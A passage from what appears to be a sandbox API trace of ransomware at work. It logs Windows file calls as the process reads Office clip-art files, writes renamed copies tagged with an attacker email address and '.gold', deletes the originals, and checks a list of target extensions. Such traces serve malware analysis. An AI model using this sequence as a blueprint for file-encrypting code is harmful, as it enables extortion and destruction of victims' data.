Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0056.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0056.970] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.976] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0056.988] GetLastError () returned 0x0 [0056.988] ReadFile (in: hFile=0x20c, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x8d6, lpOverlapped=0x0) returned 1 [0056.994] WriteFile (in: hFile=0x21c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x8e0, lpOverlapped=0x0) returned 1 [0056.995] ReadFile (in: hFile=0x20c, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.995] WriteFile (in: hFile=0x21c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.995] SetEndOfFile (hFile=0x21c) returned 1 [0056.995] CloseHandle (hObject=0x21c) returned 1 [0056.995] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.995] SetEndOfFile (hFile=0x20c) returned 1 [0056.996] CloseHandle (hObject=0x20c) returned 1 [0056.996] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0056.996] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf")) returned 1 [0056.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0056.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0056.996] lstrlenW (lpString=".doc") returned 4 [0056.996] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.996] lstrlenW (lpString=".docx") returned 5 [0056.996] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0056.996] lstrlenW (lpString=".pdf") returned 4 [0056.996] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.996] lstrlenW (lpString=".xls") returned 4 [0056.996] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.996] lstrlenW (lpString=".xlsx") returned 5 [0056.996] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0056.996] lstrlenW (lpString=".ppt") returned 4 [0056.996] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0056.996] lstrlenW (lpString=".zip") returned 4 [0056.996] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.996] lstrlenW (lpString=".rar") returned 4 [0056.996] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.996] lstrlenW (lpString=".bz2") returned 4 [0056.996] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.996] lstrlenW (lpString=".7z") returned 3 [0056.997] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0056.997] lstrlenW (lpString=".dbf") returned 4 [0056.997] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0056.997] lstrlenW (lpString=".1cd") returned 4 [0056.997] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0056.997] lstrlenW (lpString=".jpg") returned 4 [0056.997] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0056.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0056.997] lstrlenW (lpString=".doc") returned 4 [0056.997] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.997] lstrlenW (lpString=".docx") returned 5 [0056.997] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0056.997] lstrlenW (lpString=".pdf") returned 4 [0056.997] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.997] lstrlenW (lpString=".xls") returned 4 [0056.997] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.997] lstrlenW (lpString=".xlsx") returned 5 [0056.997] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0056.997] lstrlenW (lpString=".ppt") returned 4 [0056.997] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0056.997] lstrlenW (lpString=".zip") returned 4 [0056.997] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.997] lstrlenW (lpString=".rar") returned 4 [0056.997] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.997] lstrlenW (lpString=".bz2") returned 4 [0056.997] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.997] lstrlenW (lpString=".7z") returned 3 [0056.997] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0056.997] lstrlenW (lpString=".dbf") returned 4 [0056.997] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0056.997] lstrlenW (lpString=".1cd") returned 4 [0056.997] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0056.997] lstrlenW (lpString=".jpg") returned 4 [0056.997] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.997] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0056.997] lstrlenW (lpString="DD00117_.WMF") returned 12 [0056.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0056.998] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=31122) returned 1 [0056.998] CloseHandle (hObject=0x20c) returned 1 [0056.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf")) returned 0x20 [0056.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0056.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0056.999] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.999] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0056.999] GetLastError () returned 0x0 [0056.999] ReadFile (in: hFile=0x20c, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x7992, lpOverlapped=0x0) returned 1 [0057.001] WriteFile (in: hFile=0x21c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x79a0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x79a0, lpOverlapped=0x0) returned 1 [0057.002] ReadFile (in: hFile=0x20c, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.002] WriteFile (in: hFile=0x21c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.002] SetEndOfFile (hFile=0x21c) returned 1 [0057.002] CloseHandle (hObject=0x21c) returned 1 [0057.002] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.002] SetEndOfFile (hFile=0x20c) returned 1 [0057.003] CloseHandle (hObject=0x20c) returned 1 [0057.003] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0057.003] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf")) returned 1 [0057.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0057.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0057.003] lstrlenW (lpString=".doc") returned 4 [0057.003] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.004] lstrlenW (lpString=".docx") returned 5 [0057.004] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.004] lstrlenW (lpString=".pdf") returned 4 [0057.004] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.004] lstrlenW (lpString=".xls") returned 4 [0057.004] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.004] lstrlenW (lpString=".xlsx") returned 5 [0057.004] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.004] lstrlenW (lpString=".ppt") returned 4 [0057.004] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0057.004] lstrlenW (lpString=".zip") returned 4 [0057.004] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.004] lstrlenW (lpString=".rar") returned 4 [0057.004] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.004] lstrlenW (lpString=".bz2") returned 4 [0057.004] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.004] lstrlenW (lpString=".7z") returned 3 [0057.004] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0057.004] lstrlenW (lpString=".dbf") returned 4 [0057.004] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0057.004] lstrlenW (lpString=".1cd") returned 4 [0057.004] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0057.004] lstrlenW (lpString=".jpg") returned 4 [0057.004] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0057.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0057.004] lstrlenW (lpString=".doc") returned 4 [0057.004] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.004] lstrlenW (lpString=".docx") returned 5 [0057.004] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.004] lstrlenW (lpString=".pdf") returned 4 [0057.004] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.004] lstrlenW (lpString=".xls") returned 4 [0057.004] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.004] lstrlenW (lpString=".xlsx") returned 5 [0057.004] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.004] lstrlenW (lpString=".ppt") returned 4 [0057.004] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0057.004] lstrlenW (lpString=".zip") returned 4 [0057.004] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.004] lstrlenW (lpString=".rar") returned 4 [0057.004] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.004] lstrlenW (lpString=".bz2") returned 4 [0057.004] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.004] lstrlenW (lpString=".7z") returned 3 [0057.004] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0057.004] lstrlenW (lpString=".dbf") returned 4 [0057.005] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0057.005] lstrlenW (lpString=".1cd") returned 4 [0057.005] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0057.005] lstrlenW (lpString=".jpg") returned 4 [0057.005] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.005] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0057.005] lstrlenW (lpString="DD00121_.WMF") returned 12 [0057.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0057.006] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=8256) returned 1 [0057.006] CloseHandle (hObject=0x21c) returned 1 [0057.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf")) returned 0x20 [0057.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0057.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0057.007] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.007] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248 [0057.007] GetLastError () returned 0x0 [0057.007] ReadFile (in: hFile=0x21c, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x2040, lpOverlapped=0x0) returned 1 [0057.008] WriteFile (in: hFile=0x248, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x2050, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x2050, lpOverlapped=0x0) returned 1 [0057.009] ReadFile (in: hFile=0x21c, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.009] WriteFile (in: hFile=0x248, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.009] SetEndOfFile (hFile=0x248) returned 1 [0057.009] CloseHandle (hObject=0x248) returned 1 [0057.009] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.009] SetEndOfFile (hFile=0x21c) returned 1 [0057.010] CloseHandle (hObject=0x21c) returned 1 [0057.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0057.010] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf")) returned 1 [0057.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0057.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0057.010] lstrlenW (lpString=".doc") returned 4 [0057.010] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.010] lstrlenW (lpString=".docx") returned 5 [0057.010] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.011] lstrlenW (lpString=".pdf") returned 4 [0057.011] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.011] lstrlenW (lpString=".xls") returned 4 [0057.011] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.011] lstrlenW (lpString=".xlsx") returned 5 [0057.011] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.011] lstrlenW (lpString=".ppt") returned 4 [0057.011] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0057.011] lstrlenW (lpString=".zip") returned 4 [0057.011] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.011] lstrlenW (lpString=".rar") returned 4 [0057.011] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.011] lstrlenW (lpString=".bz2") returned 4 [0057.011] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.011] lstrlenW (lpString=".7z") returned 3 [0057.011] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0057.011] lstrlenW (lpString=".dbf") returned 4 [0057.011] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0057.011] lstrlenW (lpString=".1cd") returned 4 [0057.011] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0057.011] lstrlenW (lpString=".jpg") returned 4 [0057.011] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0057.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0057.011] lstrlenW (lpString=".doc") returned 4 [0057.011] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.011] lstrlenW (lpString=".docx") returned 5 [0057.011] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.011] lstrlenW (lpString=".pdf") returned 4 [0057.011] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.011] lstrlenW (lpString=".xls") returned 4 [0057.011] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.011] lstrlenW (lpString=".xlsx") returned 5 [0057.011] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.011] lstrlenW (lpString=".ppt") returned 4 [0057.011] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0057.011] lstrlenW (lpString=".zip") returned 4 [0057.011] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.011] lstrlenW (lpString=".rar") returned 4 [0057.011] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.011] lstrlenW (lpString=".bz2") returned 4 [0057.011] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.011] lstrlenW (lpString=".7z") returned 3 [0057.011] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0057.011] lstrlenW (lpString=".dbf") returned 4 [0057.011] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0057.011] lstrlenW (lpString=".1cd") returned 4 [0057.011] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0057.012] lstrlenW (lpString=".jpg") returned 4 [0057.012] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.012] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0057.012] lstrlenW (lpString="DD00234_.WMF") returned 12 [0057.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0057.012] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=29628) returned 1 [0057.012] CloseHandle (hObject=0x21c) returned 1 [0057.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf")) returned 0x20 [0057.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0057.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0057.012] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.012] SetFilePointerEx (in: hFile=0x21c, 